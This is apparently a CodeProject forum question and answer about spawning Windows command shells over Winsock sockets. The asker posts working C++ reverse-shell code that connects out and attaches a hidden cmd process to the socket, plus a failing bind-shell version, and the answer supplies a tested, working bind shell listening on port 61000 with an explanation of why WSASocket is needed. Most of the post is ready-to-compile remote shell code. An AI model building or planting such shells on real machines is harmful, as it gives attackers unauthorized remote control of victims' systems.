Click here to Skip to main content
15,881,588 members
Please Sign up or sign in to vote.
0.00/5 (No votes)
Hello, I would like to get bind/reverse shell with win32 winsock.

By calling CreateProcess with STARTF_USESTDHANDLES, I got a reverse shell (client mode) as expected. However I failed to got a bind shell (server mode) with same approach.

What is the difference between client mode (reverse shell) and server mode (bind shell)? How can I get a bind shell?

Appreciate your help.
Regards,

What I have tried:

Here is the code for client mode (reverse shell): it worked as expected.

C++
#include "stdafx.h"
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#define WIN32_LEAN_AND_MEAN

#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#pragma comment(lib, "ws2_32.lib")

#define BUFFERLEN (1024)

int spawnShell(void *my_socket, char *my_cmd)
{
	STARTUPINFO s_info = { 0 };
	PROCESS_INFORMATION p_info;

	s_info.cb = sizeof(s_info);
	s_info.wShowWindow = SW_HIDE;
	s_info.dwFlags = STARTF_USESTDHANDLES;
	s_info.hStdInput = my_socket;
	s_info.hStdOutput = my_socket;
	s_info.hStdError = my_socket;

	CreateProcess(NULL, my_cmd, NULL, NULL, TRUE, 0, NULL, NULL, (STARTUPINFO*)&s_info, &p_info);

	return 0;
}

int
main()
{
	WSADATA wsaData;
	struct sockaddr_in addr;
	SOCKET sock;

	int len;
	char data[BUFFERLEN];


	WSAStartup(MAKEWORD(2, 2), &wsaData);

	sock = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0);

	addr.sin_family = AF_INET;
	addr.sin_addr.s_addr = inet_addr("127.0.0.1");
	addr.sin_port = htons(22222);
	connect(sock, (SOCKADDR *)&addr, sizeof(addr));

	// send and receive test
	send(sock, "HELLO\n", 6, 0);
	len = recv(sock, data, BUFFERLEN, 0);
	data[len] = '\0';
	printf(data);

	spawnShell((void *)sock, "cmd");

	return 0;

}


And here is the code for server mode (bind shell): it did not work.
C++
#include "stdafx.h"
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#define WIN32_LEAN_AND_MEAN

#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#pragma comment(lib, "ws2_32.lib")

#define BUFFERLEN (1024)

int spawnShell(void *my_socket, char *my_cmd)
{
	STARTUPINFO s_info = { 0 };
	PROCESS_INFORMATION p_info;

	s_info.cb = sizeof(s_info);
	s_info.wShowWindow = SW_HIDE;
	s_info.dwFlags = STARTF_USESTDHANDLES;
	s_info.hStdInput = my_socket;
	s_info.hStdOutput = my_socket;
	s_info.hStdError = my_socket;
	
	CreateProcess(NULL, my_cmd, NULL, NULL, TRUE, 0, NULL, NULL, (STARTUPINFO*)&s_info, &p_info);

	return 0;
}

int
main()
{
	WSADATA wsaData;
	SOCKET sock0;
	struct sockaddr_in addr;
	struct sockaddr_in client;
	SOCKET sock;

	int len;
	char data[BUFFERLEN];

	WSAStartup(MAKEWORD(2, 0), &wsaData);

	sock0 = socket(AF_INET, SOCK_STREAM, 0);

	addr.sin_family = AF_INET;
	addr.sin_port = htons(11111);
	addr.sin_addr.S_un.S_addr = INADDR_ANY;

	bind(sock0, (struct sockaddr *)&addr, sizeof(addr));

	listen(sock0, 5);

	len = sizeof(client);
	sock = accept(sock0, (struct sockaddr *)&client, &len);

	// send and receive test
	send(sock, "HELLO\n", 6, 0);
	len = recv(sock, data, BUFFERLEN, 0);
	data[len] = '\0';
	printf(data);

	spawnShell((void *)sock,"cmd");

	closesocket(sock);
	WSACleanup();

	return 0;
}
Posted
Updated 16-Apr-23 15:17pm

1 solution

I've Tested this bindshell and it's working. in order to work you should use WSASocket & WSAAccept (CreateProcess I/O redirection requires HANDLEs that are non-Overlapped. Which is why use of socket doesn't work and WSASOCKET does)
C
#include <stdio.h>
#include <winsock2.h>

#pragma comment(lib,"ws2_32.lib")

int main()
{
	SOCKET s,cs;
	WSADATA ws;
	struct sockaddr_in server,client;
	STARTUPINFO si;
	PROCESS_INFORMATION pi;
    int port = 61000;
	
	WSAStartup(MAKEWORD(2,2), &ws);
	
	s = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
	
	server.sin_family = AF_INET;
	server.sin_port = htons(port);
	server.sin_addr.s_addr = INADDR_ANY;
	
	bind(s, (struct sockaddr*)&server, sizeof(server));
	
	listen(s, SOMAXCONN);
	
	cs = WSAAccept(s, NULL, NULL, NULL, 0);
	
	memset(&si, 0, sizeof(si));
	si.cb = sizeof(si);
	si.dwFlags = STARTF_USESTDHANDLES;
	si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)cs;
	
	CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
	
	return 0;
}
 
Share this answer
 
v4

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)



CodeProject, 20 Bay Street, 11th Floor Toronto, Ontario, Canada M5J 2N8 +1 (416) 849-8900